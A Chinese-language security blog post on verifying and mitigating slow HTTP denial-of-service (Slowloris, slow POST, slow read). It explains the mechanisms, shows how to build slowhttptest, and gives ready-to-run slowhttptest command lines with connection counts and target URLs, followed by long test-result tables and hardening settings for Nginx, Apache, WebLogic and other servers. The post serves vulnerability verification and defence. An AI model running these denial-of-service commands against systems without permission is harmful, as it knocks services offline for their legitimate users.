Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

编译安装 SlowHTTPTest 与 Slowloris Attack

wpadmin~March 22, 2019 /InfoSec

编译安装 SlowHTTPTest 与 Slowloris Attack

背景

Acunetix WVS 扫到的漏洞,名称为 Slow HTTP Denial of Service Attack 。在告警中还有一句 Time difference between connections: 9968 ms,大概是正常 HTTP 请求 与 慢速 HTTP 请求的响应时间可以相差约 9900 ms 。写本文的主要目的是了解 Slow HTTP Denial of Service Attack 的原理,以及标准化验证流程

标准化验证建议使用 slowhttptest 输出 HTML 报表
命令如下
./slowhttptest -c 1000 -H -g -o slow_header_stats -i 10 -r 200 -t GET -l 300 -u http://example.com -x 24 -p 3

另外也有其他 PoC 可供参考
https://github.com/llaera/slowloris.pl/blob/master/slowloris.pl

攻击原理简介

这种攻击对攻击者 带宽 依赖较小,主要是客户端与服务器建立和维持大量 TCP 连接,服务器每维护一个 TCP 连接都需要分配内存新建线程,当服务器没有对单一 IP 限制 TCP 连接数时,如果此时他们建立了大量连接,等待过程中占用 TCP 连接数达到服务器连接数上限,服务器便无法处理 新的 来自正常用户的其他 HTTP 请求,导致拒绝服务。

三种攻击模式

Slowloris:
针对目标服务器打开尽可能多的 TCP 连接,对每个 TCP 连接维持尽可能长的时间。
通常是不断向服务器发送 “不完整的 HTTP 请求” (完整的 HTTP 请求是以 \r\n\r\n 结尾,攻击时仅发送 \r\n ,少发送一个 \r\n,服务器认为请求还未发完,就会一直等待直至超时。)

等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。

Slow HTTP Post:
原理和 Slowloris有点类似,这次是通过声明一个较大的 content-length 后,body 缓慢发送,导致服务器一直等待

Slow Read Attack:
向服务器发送一个正常合法的 read 请求,请求一个很大的文件,但认为的把 TCP 滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:

a) tcp窗口设置要比服务器的socket缓存小,这样发送才慢。
b) 请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存。同时攻击端一直说自己收不到。

编译

默认位置是 /usr/local/bin/slowhttptest

https://github.com/shekyan/slowhttptest/wiki/InstallationAndUsage

# https://github.com/shekyan/slowhttptest
autoreconf -f -i
./configure
make
sudo make install

# 刷新 zsh 以支持自动补全
rehash

https://stackoverflow.com/questions/33278928/how-to-overcome-aclocal-1-15-is-missing-on-your-system-warning

基本使用

slowhttptest 有 4 种测试模式,分别是 Slowloris (slow header), R-U-Dead-Yet (slow body), Apache killer (range attack)Slow Read, 可以用 slowhttptest -h 查看详情。

Kali 的工具介绍页面对各参数有详细的解释
https://tools.kali.org/stress-testing/slowhttptest

示例用法 1
slowhttptest -c 10000 -H -g -o slowhttp -i 5 -u http://wp.blkstone.me -x 24 -p 10

示例用法 2
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -l 300 -u http://wp.blkstone.me -x 24 -p 3

示例结果

Test parameters
Test type SLOW HEADERS
Number of connections 4090
Verb GET
Content-Length header value 4096
Extra data max length 50
Interval between follow up data 5 seconds
Connections per seconds 50
Timeout for probe connection 10
Target test duration 240 seconds
Using proxy no proxy
Test results against http://wp.blkstone.me/ClosedPendingConnectedServiceavailable011223344556677889911012113201,0002,0003,0004,000SecondsConnections

Seconds Closed Pending Connected Service available
0 0 1 0 4,090
1 0 6 38 4,090
2 0 6 80 4,090
3 0 6 122 4,090
4 0 11 159 4,090
5 0 37 175 4,090
6 0 64 190 4,090
7 0 68 213 4,090
8 0 69 254 4,090
9 0 88 277 4,090
10 0 119 287 4,090
11 0 159 288 4,090
12 0 202 288 4,090
13 0 244 288 4,090
14 0 287 288 4,090
15 0 329 288 4,090
16 0 370 288 4,090
17 0 412 288 4,090
18 0 455 288 4,090
19 0 497 288 4,090
20 0 539 288 0
21 0 580 288 0
22 11 600 299 0
23 13 638 297 0
24 17 676 297 0
25 25 711 297 0
26 34 742 298 0
27 95 722 298 0
28 140 721 296 0
29 193 713 293 0
30 237 712 292 0
31 276 717 291 0
32 318 718 291 0
33 360 721 291 0
34 390 737 291 0
35 432 736 291 0
36 471 738 291 0
37 510 741 291 0
38 551 742 291 0
39 579 758 291 0
40 607 774 291 0
41 636 786 291 0
42 675 789 291 0
43 722 784 291 0
44 762 789 289 0
45 793 801 289 0
46 825 812 289 0
47 861 818 289 0
48 927 793 291 0
49 993 773 287 0
50 1,057 749 289 0
51 1,097 747 293 0
52 1,154 730 295 0
53 1,198 729 295 0
54 1,243 726 295 0
55 1,282 730 295 0
56 1,322 732 295 0
57 1,364 733 295 0
58 1,403 737 295 0
59 1,444 740 295 0
60 1,469 757 295 0
61 1,500 768 295 0
62 1,530 780 295 0
63 1,567 786 295 0
64 1,612 783 295 0
65 1,653 784 295 0
66 1,679 800 295 0
67 1,718 803 295 0
68 1,754 809 295 0
69 1,827 779 295 0
70 1,893 762 288 0
71 1,923 775 286 0
72 1,997 746 284 0
73 2,049 738 282 0
74 2,091 738 282 0
75 2,134 738 282 0
76 2,171 742 282 0
77 2,214 741 282 0
78 2,259 741 281 0
79 2,300 743 281 0
80 2,338 747 281 0
81 2,364 763 281 0
82 2,393 776 281 0
83 2,435 777 281 0
84 2,462 794 280 0
85 2,507 788 283 0
86 2,549 780 291 0
87 2,576 796 290 0
88 2,612 804 289 0
89 2,661 798 289 0
90 2,731 757 302 0
91 2,753 777 302 0
92 2,826 746 301 0
93 2,892 726 297 0
94 2,939 718 301 0
95 2,982 715 303 0
96 3,021 717 303 0
97 3,059 722 303 0
98 3,100 687 303 0
99 3,144 643 303 0
100 3,185 602 303 0
101 3,224 563 303 0
102 3,248 539 303 0
103 3,285 502 303 0
104 3,316 471 303 0
105 3,344 449 297 0
106 3,385 410 295 0
107 3,429 370 291 0
108 3,456 345 289 0
109 3,503 304 283 0
110 3,542 272 276 0
111 3,558 260 272 0
112 3,644 218 228 0
113 3,711 190 189 0
114 3,784 165 141 0
115 3,830 123 137 4,090
116 3,872 82 136 4,090
117 3,913 41 136 4,090
118 3,949 5 136 4,090
119 3,954 0 136 4,090
120 3,954 0 136 4,090
121 3,954 0 136 4,090
122 3,954 0 136 4,090
123 3,954 0 136 4,090
124 3,954 0 136 4,090
125 3,954 0 136 4,090
126 3,954 0 136 4,090
127 3,963 0 127 4,090
128 3,967 0 123 4,090
129 3,969 0 121 4,090
130 3,975 0 115 4,090
131 3,977 0 113 4,090
132 3,983 0 107 4,090
133 4,026 0 64 4,090
134 4,054 0 36 4,090
135 4,087 0 3 4,090
136 4,088 0 2 4,090
137 4,088 0 2 4,090
138 4,089 0 1 4,090

分析示例

图例说明

以下两个案例均为 发送 1000 个 TCP 连接请求。

Closed / 关闭结束的 TCP 连接
Pending / 已发送 SYN 等待服务端 ACK 的半连接
Connected / 成功与服务器建立三次握手的 TCP 连接
Service available / 服务是否可用

需要说明的是 Connected 和 Pending 都是有极限的,当连个都到达极限时,如果有新的 SYN 到服务端,应该会直接被 RST 给关闭 (close) 掉。

案例 1

Test parameters
Test type SLOW HEADERS
Number of connections 1000
Verb GET
Content-Length header value 4096
Extra data max length 52
Interval between follow up data 10 seconds
Connections per seconds 200
Timeout for probe connection 3
Target test duration 300 seconds
Using proxy no proxy
Test results against https://eqx.example.com.cn/eqx/html/login.htmlClosedPendingConnectedServiceavailable02346699211513816118420723025327629902004006008001,000SecondsConnections

Seconds Closed Pending Connected Service available
0 0 1 0 1,000
1 0 30 103 1,000
2 0 27 237 1,000
3 0 32 366 1,000
4 0 50 483 1,000
5 0 198 485 1,000
6 0 347 485 1,000
7 0 491 486 1,000
8 0 514 486 1,000
9 0 514 486 0
10 0 514 486 0
11 0 514 486 0
12 0 514 486 0
13 0 514 486 0
14 0 514 486 0
15 0 514 486 0
16 0 514 486 0
17 0 514 486 0
18 0 514 486 0
19 0 514 486 0
20 0 514 486 0
21 0 514 486 0
22 0 514 486 0
23 0 514 486 0
24 0 514 486 0
25 56 458 486 1,000
26 207 307 486 1,000
27 354 160 486 1,000
28 499 15 486 1,000
29 514 0 486 1,000
30 514 0 486 1,000
31 514 0 486 1,000
32 514 0 486 1,000
33 514 0 486 0
34 514 0 486 0
35 514 0 486 0
36 514 0 486 0
37 514 0 486 0
38 514 0 486 0
39 514 0 486 0
40 514 0 486 0
41 514 0 486 0
42 514 0 486 0
43 514 0 486 0
44 514 0 486 0
45 514 0 486 0
46 514 0 486 0
47 514 0 486 0
48 514 0 486 0
49 514 0 486 0
50 514 0 486 0
51 514 0 486 0
52 514 0 486 0
53 514 0 486 0
54 514 0 486 0
55 514 0 486 0
56 514 0 486 0
57 514 0 486 0
58 514 0 486 0
59 514 0 486 0
60 514 0 486 0
61 514 0 486 0
62 514 0 486 0
63 514 0 486 0
64 514 0 486 0
65 514 0 486 0
66 514 0 486 0
67 514 0 486 0
68 514 0 486 0
69 514 0 486 0
70 514 0 486 0
71 514 0 486 0
72 514 0 486 0
73 514 0 486 0
74 514 0 486 0
75 514 0 486 0
76 514 0 486 0
77 514 0 486 0
78 514 0 486 0
79 514 0 486 0
80 514 0 486 0
81 514 0 486 0
82 514 0 486 0
83 514 0 486 0
84 514 0 486 0
85 514 0 486 0
86 514 0 486 0
87 514 0 486 0
88 514 0 486 1,000
89 514 0 486 1,000
90 514 0 486 1,000
91 514 0 486 1,000
92 514 0 486 1,000
93 514 0 486 1,000
94 514 0 486 1,000
95 514 0 486 1,000
96 514 0 486 1,000
97 514 0 486 1,000
98 514 0 486 1,000
99 514 0 486 1,000
100 514 0 486 1,000
101 514 0 486 1,000
102 514 0 486 1,000
103 514 0 486 1,000
104 514 0 486 1,000
105 514 0 486 1,000
106 514 0 486 1,000
107 514 0 486 1,000
108 514 0 486 1,000
109 514 0 486 1,000
110 514 0 486 1,000
111 514 0 486 1,000
112 514 0 486 1,000
113 514 0 486 1,000
114 514 0 486 1,000
115 514 0 486 1,000
116 514 0 486 1,000
117 514 0 486 1,000
118 514 0 486 1,000
119 514 0 486 1,000
120 514 0 486 1,000
121 514 0 486 1,000
122 514 0 486 1,000
123 514 0 486 1,000
124 514 0 486 1,000
125 514 0 486 1,000
126 514 0 486 1,000
127 514 0 486 1,000
128 514 0 486 1,000
129 514 0 486 1,000
130 514 0 486 1,000
131 514 0 486 1,000
132 514 0 486 1,000
133 514 0 486 1,000
134 514 0 486 1,000
135 514 0 486 1,000
136 514 0 486 1,000
137 514 0 486 1,000
138 514 0 486 1,000
139 514 0 486 1,000
140 514 0 486 1,000
141 514 0 486 0
142 514 0 486 0
143 514 0 486 0
144 514 0 486 0
145 514 0 486 0
146 514 0 486 0
147 514 0 486 0
148 514 0 486 1,000
149 514 0 486 1,000
150 514 0 486 1,000
151 514 0 486 1,000
152 514 0 486 1,000
153 514 0 486 1,000
154 514 0 486 1,000
155 514 0 486 1,000
156 514 0 486 1,000
157 514 0 486 1,000
158 514 0 486 1,000
159 514 0 486 1,000
160 514 0 486 1,000
161 514 0 486 1,000
162 514 0 486 1,000
163 514 0 486 1,000
164 514 0 486 1,000
165 514 0 486 1,000
166 514 0 486 1,000
167 514 0 486 1,000
168 514 0 486 1,000
169 514 0 486 1,000
170 514 0 486 1,000
171 514 0 486 1,000
172 514 0 486 1,000
173 514 0 486 1,000
174 514 0 486 1,000
175 514 0 486 1,000
176 514 0 486 1,000
177 514 0 486 1,000
178 514 0 486 1,000
179 514 0 486 1,000
180 514 0 486 1,000
181 514 0 486 1,000
182 514 0 486 1,000
183 514 0 486 1,000
184 514 0 486 1,000
185 514 0 486 1,000
186 514 0 486 1,000
187 514 0 486 1,000
188 514 0 486 1,000
189 514 0 486 1,000
190 514 0 486 1,000
191 514 0 486 1,000
192 514 0 486 1,000
193 514 0 486 1,000
194 514 0 486 1,000
195 514 0 486 1,000
196 514 0 486 1,000
197 514 0 486 1,000
198 514 0 486 1,000
199 514 0 486 1,000
200 514 0 486 1,000
201 514 0 486 1,000
202 514 0 486 1,000
203 514 0 486 1,000
204 514 0 486 1,000
205 514 0 486 1,000
206 514 0 486 1,000
207 514 0 486 1,000
208 514 0 486 1,000
209 514 0 486 1,000
210 514 0 486 1,000
211 514 0 486 1,000
212 514 0 486 1,000
213 514 0 486 1,000
214 514 0 486 1,000
215 514 0 486 1,000
216 514 0 486 1,000
217 514 0 486 1,000
218 514 0 486 1,000
219 514 0 486 1,000
220 514 0 486 1,000
221 514 0 486 1,000
222 514 0 486 1,000
223 514 0 486 1,000
224 514 0 486 1,000
225 514 0 486 1,000
226 514 0 486 1,000
227 514 0 486 1,000
228 514 0 486 1,000
229 514 0 486 1,000
230 514 0 486 1,000
231 514 0 486 1,000
232 514 0 486 1,000
233 514 0 486 1,000
234 514 0 486 1,000
235 514 0 486 1,000
236 514 0 486 1,000
237 514 0 486 1,000
238 514 0 486 1,000
239 514 0 486 1,000
240 514 0 486 1,000
241 514 0 486 1,000
242 514 0 486 1,000
243 514 0 486 1,000
244 514 0 486 1,000
245 514 0 486 1,000
246 514 0 486 1,000
247 514 0 486 1,000
248 514 0 486 1,000
249 514 0 486 1,000
250 514 0 486 1,000
251 514 0 486 1,000
252 514 0 486 1,000
253 514 0 486 1,000
254 514 0 486 1,000
255 514 0 486 1,000
256 514 0 486 1,000
257 514 0 486 1,000
258 514 0 486 1,000
259 514 0 486 1,000
260 514 0 486 1,000
261 514 0 486 1,000
262 514 0 486 1,000
263 514 0 486 1,000
264 514 0 486 1,000
265 514 0 486 1,000
266 514 0 486 1,000
267 514 0 486 1,000
268 514 0 486 1,000
269 514 0 486 1,000
270 514 0 486 1,000
271 514 0 486 1,000
272 514 0 486 1,000
273 514 0 486 1,000
274 514 0 486 1,000
275 514 0 486 1,000
276 514 0 486 1,000
277 514 0 486 1,000
278 514 0 486 1,000
279 514 0 486 1,000
280 514 0 486 1,000
281 514 0 486 1,000
282 514 0 486 1,000
283 514 0 486 1,000
284 514 0 486 1,000
285 514 0 486 1,000
286 514 0 486 1,000
287 514 0 486 1,000
288 514 0 486 1,000
289 514 0 486 1,000
290 514 0 486 1,000
291 514 0 486 1,000
292 514 0 486 1,000
293 514 0 486 1,000
294 514 0 486 1,000
295 514 0 486 1,000
296 514 0 486 1,000
297 514 0 486 1,000
298 514 0 486 1,000
299 514 0 486 1,000
300 514 0 486 1,000
301 514 0 486 1,000

案例 1 分析

一开始 (0-7秒) 成功连接的 TCP 请求 (connected) 和 半连接 TCP 请求 (pending) 的数量都在快速增加,一直增加到第 7 秒,他们的和为 1000 (因为设定就是发 1000 个请求), 在 23 秒的时候,大量半连接(pending) 由于三次握手一直未收到 ACK,超时,直接 (没成功握手就) 结束连接 (因此 closed 数量增加)。 但是 从 0-7 秒就连接上服务器的那些 TCP 连接 在后续到 300 秒时 都没有被超时强制结束。

结论就是服务器没有做 HTTP 慢请求 (Slowloris) 超时控制, 或者设定的超时时间在 300 秒以上。

案例 2

Test parameters
Test type SLOW HEADERS
Number of connections 1000
Verb GET
Content-Length header value 4096
Extra data max length 52
Interval between follow up data 10 seconds
Connections per seconds 200
Timeout for probe connection 3
Target test duration 300 seconds
Using proxy no proxy
Test results against http://wp.blkstone.me/ClosedPendingConnectedServiceavailable02346699211513816118420723025327629902004006008001,000SecondsConnections

Seconds Closed Pending Connected Service available
0 0 1 0 1,000
1 0 61 97 1,000
2 0 123 185 1,000
3 0 262 198 1,000
4 0 392 226 1,000
5 0 540 237 1,000
6 0 665 275 0
7 0 703 297 0
8 0 701 299 0
9 0 699 301 0
10 0 698 302 0
11 0 697 303 0
12 0 697 303 0
13 0 697 303 0
14 0 697 303 0
15 0 697 303 0
16 0 697 303 0
17 0 697 303 0
18 0 697 303 0
19 0 697 303 0
20 0 697 303 0
21 0 697 303 0
22 7 697 296 0
23 97 611 292 0
24 197 513 290 0
25 336 383 281 0
26 507 223 270 0
27 679 73 248 0
28 782 0 218 0
29 795 0 205 0
30 819 0 181 0
31 836 0 164 0
32 841 0 159 0
33 841 0 159 0
34 842 0 158 0
35 843 0 157 0
36 844 0 156 0
37 844 0 156 0
38 844 0 156 0
39 844 0 156 0
40 844 0 156 0
41 844 0 156 0
42 844 0 156 0
43 847 0 153 0
44 850 0 150 1,000
45 855 0 145 1,000
46 860 0 140 1,000
47 874 0 126 1,000
48 885 0 115 1,000
49 909 0 91 1,000
50 923 0 77 1,000
51 930 0 70 0
52 945 0 55 1,000
53 954 0 46 1,000
54 960 0 40 1,000
55 960 0 40 1,000
56 963 0 37 1,000
57 964 0 36 1,000
58 964 0 36 1,000
59 966 0 34 1,000
60 968 0 32 1,000
61 968 0 32 1,000
62 968 0 32 1,000
63 968 0 32 0
64 970 0 30 0
65 971 0 29 1,000
66 971 0 29 1,000
67 971 0 29 1,000
68 971 0 29 1,000
69 971 0 29 1,000
70 971 0 29 1,000
71 971 0 29 1,000
72 971 0 29 1,000
73 971 0 29 1,000
74 971 0 29 1,000
75 971 0 29 1,000
76 971 0 29 1,000
77 971 0 29 1,000
78 971 0 29 1,000
79 971 0 29 1,000
80 971 0 29 1,000
81 971 0 29 1,000
82 971 0 29 1,000
83 971 0 29 1,000
84 971 0 29 1,000
85 971 0 29 1,000
86 971 0 29 1,000
87 971 0 29 1,000
88 971 0 29 1,000
89 971 0 29 1,000
90 971 0 29 1,000
91 971 0 29 1,000
92 971 0 29 1,000
93 971 0 29 1,000
94 971 0 29 1,000
95 971 0 29 1,000
96 971 0 29 1,000
97 971 0 29 1,000
98 971 0 29 1,000
99 971 0 29 1,000
100 971 0 29 1,000
101 971 0 29 1,000
102 971 0 29 1,000
103 971 0 29 1,000
104 971 0 29 1,000
105 971 0 29 1,000
106 971 0 29 1,000
107 971 0 29 1,000
108 971 0 29 0
109 971 0 29 0
110 971 0 29 1,000
111 971 0 29 1,000
112 971 0 29 1,000
113 971 0 29 1,000
114 971 0 29 1,000
115 971 0 29 1,000
116 971 0 29 1,000
117 971 0 29 1,000
118 971 0 29 1,000
119 971 0 29 1,000
120 971 0 29 1,000
121 971 0 29 1,000
122 971 0 29 1,000
123 971 0 29 1,000
124 971 0 29 1,000
125 971 0 29 1,000
126 971 0 29 1,000
127 971 0 29 1,000
128 971 0 29 1,000
129 971 0 29 1,000
130 971 0 29 1,000
131 971 0 29 1,000
132 971 0 29 1,000
133 971 0 29 1,000
134 971 0 29 1,000
135 971 0 29 1,000
136 971 0 29 1,000
137 971 0 29 1,000
138 971 0 29 1,000
139 971 0 29 1,000
140 971 0 29 1,000
141 971 0 29 1,000
142 971 0 29 1,000
143 971 0 29 1,000
144 971 0 29 1,000
145 971 0 29 1,000
146 971 0 29 1,000
147 971 0 29 0
148 971 0 29 1,000
149 971 0 29 1,000
150 971 0 29 1,000
151 971 0 29 1,000
152 971 0 29 1,000
153 971 0 29 1,000
154 971 0 29 1,000
155 971 0 29 1,000
156 971 0 29 1,000
157 971 0 29 1,000
158 971 0 29 1,000
159 971 0 29 1,000
160 971 0 29 1,000
161 971 0 29 1,000
162 971 0 29 1,000
163 971 0 29 1,000
164 971 0 29 1,000
165 971 0 29 1,000
166 971 0 29 1,000
167 971 0 29 1,000
168 971 0 29 1,000
169 971 0 29 1,000
170 971 0 29 1,000
171 971 0 29 1,000
172 971 0 29 1,000
173 971 0 29 1,000
174 971 0 29 1,000
175 971 0 29 1,000
176 971 0 29 1,000
177 971 0 29 1,000
178 971 0 29 1,000
179 971 0 29 1,000
180 971 0 29 1,000
181 971 0 29 1,000
182 971 0 29 1,000
183 971 0 29 1,000
184 971 0 29 1,000
185 971 0 29 1,000
186 971 0 29 1,000
187 971 0 29 1,000
188 971 0 29 1,000
189 971 0 29 1,000
190 971 0 29 1,000
191 971 0 29 1,000
192 971 0 29 1,000
193 971 0 29 1,000
194 971 0 29 1,000
195 971 0 29 1,000
196 971 0 29 1,000
197 971 0 29 1,000
198 971 0 29 1,000
199 971 0 29 1,000
200 971 0 29 1,000
201 971 0 29 1,000
202 971 0 29 1,000
203 971 0 29 1,000
204 971 0 29 1,000
205 971 0 29 1,000
206 971 0 29 1,000
207 971 0 29 1,000
208 971 0 29 1,000
209 971 0 29 1,000
210 971 0 29 1,000
211 971 0 29 1,000
212 971 0 29 1,000
213 971 0 29 1,000
214 971 0 29 1,000
215 971 0 29 1,000
216 971 0 29 1,000
217 971 0 29 1,000
218 971 0 29 1,000
219 971 0 29 1,000
220 971 0 29 1,000
221 971 0 29 1,000
222 971 0 29 1,000
223 971 0 29 1,000
224 971 0 29 1,000
225 971 0 29 1,000
226 971 0 29 1,000
227 971 0 29 1,000
228 971 0 29 1,000
229 971 0 29 1,000
230 971 0 29 1,000
231 971 0 29 1,000
232 971 0 29 1,000
233 971 0 29 1,000
234 971 0 29 1,000
235 971 0 29 1,000
236 971 0 29 1,000
237 971 0 29 1,000
238 971 0 29 1,000
239 971 0 29 1,000
240 971 0 29 1,000
241 971 0 29 1,000
242 971 0 29 1,000
243 971 0 29 1,000
244 971 0 29 1,000
245 971 0 29 1,000
246 971 0 29 1,000
247 971 0 29 1,000
248 971 0 29 1,000
249 971 0 29 1,000
250 971 0 29 1,000
251 971 0 29 1,000
252 971 0 29 1,000
253 971 0 29 1,000
254 971 0 29 1,000
255 971 0 29 1,000
256 971 0 29 1,000
257 971 0 29 1,000
258 971 0 29 1,000
259 971 0 29 1,000
260 971 0 29 1,000
261 971 0 29 1,000
262 971 0 29 1,000
263 971 0 29 1,000
264 971 0 29 1,000
265 971 0 29 1,000
266 971 0 29 1,000
267 971 0 29 1,000
268 971 0 29 1,000
269 971 0 29 1,000
270 971 0 29 1,000
271 971 0 29 1,000
272 971 0 29 1,000
273 971 0 29 1,000
274 971 0 29 1,000
275 971 0 29 1,000
276 971 0 29 1,000
277 971 0 29 1,000
278 971 0 29 1,000
279 971 0 29 1,000
280 971 0 29 1,000
281 971 0 29 1,000
282 971 0 29 1,000
283 971 0 29 1,000
284 971 0 29 1,000
285 971 0 29 1,000
286 971 0 29 1,000
287 971 0 29 1,000
288 971 0 29 1,000
289 971 0 29 1,000
290 971 0 29 1,000
291 971 0 29 1,000
292 971 0 29 1,000
293 971 0 29 1,000
294 971 0 29 1,000
295 971 0 29 1,000
296 971 0 29 1,000
297 971 0 29 1,000
298 971 0 29 1,000
299 971 0 29 1,000
300 971 0 29 1,000
301 971 0 29 1,000

案例 2 分析

类似的, 一开始 (0-7秒) 成功连接的 TCP 请求 (connected) 和 半连接 TCP 请求 (pending) 的数量都在快速增加,一直增加到第 7 秒,他们的和为 1000 (因为设定就是发 1000 个请求), 在 23 秒的时候,大量半连接 (pending) 由于三次握手一直未收到 ACK,超时,直接 (没成功握手就) 结束连接 (因此 closed 数量增加)。

与此同时,有部分 TCP 半连接 (pending) 转化成了 TCP 连接 (connected)。
与此同时,部分 TCP 连接 (connected) 也因为触发 HTTP 慢连接超时而被结束。
在 47 秒时,又有部分TCP 连接 (connected) 因为触发 慢连接超时被结束。

最终仅留下少量 TCP 连接 长期维持。
(推测是服务器在负载较低的情况下不会进行 慢连接超时强制结束 的操作)

修复建议

大致思路

1、限制单机 IP 的连接数。
2、限制 HTTP request header/body 的超时时间

How to Protect Against Slow HTTP Attacks – slowhttptest 作者
http://blog.shekyan.com/2011/11/how-to-protect-against-slow-http-attacks.html

针对不同的 Server 其对 慢速 HTTP 拒绝服务攻击 防范方法也不同,建议使用以下措施防范 慢速 HTTP 拒绝服务攻击:

【WebSphere】

1、限制 HTTP 数据的大小
在 WebSphere Application Server 中进行如下设置:
何单个 HTTP 头的默认最大大小为 32768 字节。可以将它设置为不同的值。
HTTP 头的默认最大数量为 50。可以将它设置为不同的限制值。

另一种常见的 DOS 攻击是发送一个请求,这个请求会导致一个长期运行的 GET 请求。WebSphere Application Server Plug-in 中的 ServerIOTimeoutRetry 属性可限制任何请求的重试数量。这可以降低这种长期运行的请求的影响。
设置限制任何请求正文的最大大小。

2、设置 keepalive 参数

打开 IBM http server安装目录,打开文件夹 conf ,打开文件 httpd.conf ,查找 KeepAlive 值,改 ON 为 OFF, 其默认为 ON。
这个值说明是否保持客户端与 HTTP SERVER 的连接数,如果设置为 ON ,则请求数到达 MaxKeepAliveRequests 设定值时请求将排队,导致响应变慢。

【Weblogic】
1、在配置管理界面中的协议 -> 一般信息下设置 完成消息超时时间小于 400
2、在配置管理界面中的协议 -> HTTP下设置 POST 超时、持续时间、最大 POST 大小为安全值范围。

【Nginx】

1、通过调整 $request_method ,配置服务器接受 HTTP 包的操作限制;
2、在保证业务不受影响的前提下,调整 client_max_body_size, client_body_buffer_size, client_header_buffer_size,large_client_header_buffersclient_body_timeout, client_header_timeout 的值,必要时可以适当的增加;
3、对于会话或者相同的 IP 地址,可以使用 HttpLimitReqModule 与 HttpLimitZoneModule 参数去限制请求量或者并发连接数;
4、根据CPU和负载的大小,来配置 worker_processes 和 worker_connections 的值,公式是:max_clients = worker_processes * worker_connections。

【Apache】
建议使用 mod_reqtimeout 和 mod_qos 两个模块相互配合来防护。

1、mod_reqtimeout 用于控制每个连接上请求发送的速率。配置例如:
请求正文部分,设置超时时间初始为 10 秒,并在收到客户端发送的数据后,每接收到 500 字节数据就将超时时间延长 1 秒,但最长不超过 40 秒。可以防护 slow message body 型的慢速攻击。
RequestReadTimeout body=10-40,minrate=500

需注意,对于 HTTPS 站点,需要把初始超时时间上调,比如调整到 20 秒。

2、mod_qos 用于控制并发连接数。配置例如:
当服务器并发连接数超过 600 时,关闭 keepalive
QS_SrvMaxConnClose 600
每个源IP最大并发连接数为50
QS_SrvMaxConnPerIP 50
这两个数值可以根据服务器的性能调整。

【IHS服务器】
先安装最新补丁包,然后启用 mod_reqtimeout 模块,在配置文件中加入:
loadModule reqtimeout_module modules/mod_reqtimeout.so

为 mod_reqtimeout 模块添加配置:

<IfModule mod_reqtimeout.c>
    RequestReadTimeout header=10-40,MinRate=500 body=10-40,MinRate=500
</IfModule>

对于 HTTPS 站点,建议 header=20-40,MinRate=500。

【F5负载均衡修复建议】
F5负载均衡设备有相应的防护模块。

参考资料

WHAT IS SLOWLORIS?
https://www.incapsula.com/ddos/attack-glossary/slowloris.html

slowhttptest wiki
https://github.com/shekyan/slowhttptest/wiki

应用层慢速 DDoS 攻击压力测试工具 – SlowHTTPTest
https://blog.csdn.net/xysoul/article/details/45169807

缓慢的 HTTP 拒绝服务攻击测试 – slowhttptest
http://front-ender.me/test/slowhttptest.html

缓慢的 HTTP 拒绝服务攻击漏洞的验证 ( slowhttptest 的安装)
https://blog.csdn.net/qq_32393893/article/details/81220015

【作者投稿】Slowhttptest攻击原理 – xazlsec
https://cloud.tencent.com/developer/column/4712

Leave a Reply

Your email address will not be published. Required fields are marked *